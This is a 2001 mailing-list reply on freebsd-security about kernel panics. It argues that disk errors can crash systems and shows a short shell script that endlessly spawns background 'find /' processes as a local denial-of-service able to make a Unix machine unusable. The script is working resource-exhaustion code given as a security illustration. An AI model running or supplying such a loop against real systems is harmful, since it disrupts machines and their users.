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Date:      Tue, 10 Jul 2001 20:54:19 -0700 (PDT)
From:      "Robert E. Lee" <rel@gulbransen.com>
To:        Dag-Erling Smorgrav <des@ofug.org>
Cc:        Ted Mittelstaedt <tedm@toybox.placo.com>, <js43064n@pace.edu>, <freebsd-security@FreeBSD.ORG>
Subject:   Re: Kernel Panic
Message-ID:  <Pine.BSF.4.33.0107102047420.261-100000@rlee.leefam.org>
In-Reply-To: <xzp4rt57sjq.fsf@flood.ping.uio.no>

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On 24 Jun 2001, Dag-Erling Smorgrav wrote:
> "Ted Mittelstaedt" <tedm@toybox.placo.com> writes:
> A disk error would not crash the system.  Please stop spouting
> unfounded (though highly imaginative) bullshit.

Not to get into a pissing contest, but I have had disk errors in the past
that made my system crash.

On the original thread, when you have a local account on a box, you can
usually use this script as an effective DoS:

$ more foo.sh
#!/bin/sh

while [ 1 -eq 1 ]; do
  find / -name foo &
done

The default settings for most Unix OS's allow that type of script to
consume enough resources to make the system unusable.

Robert E. Lee



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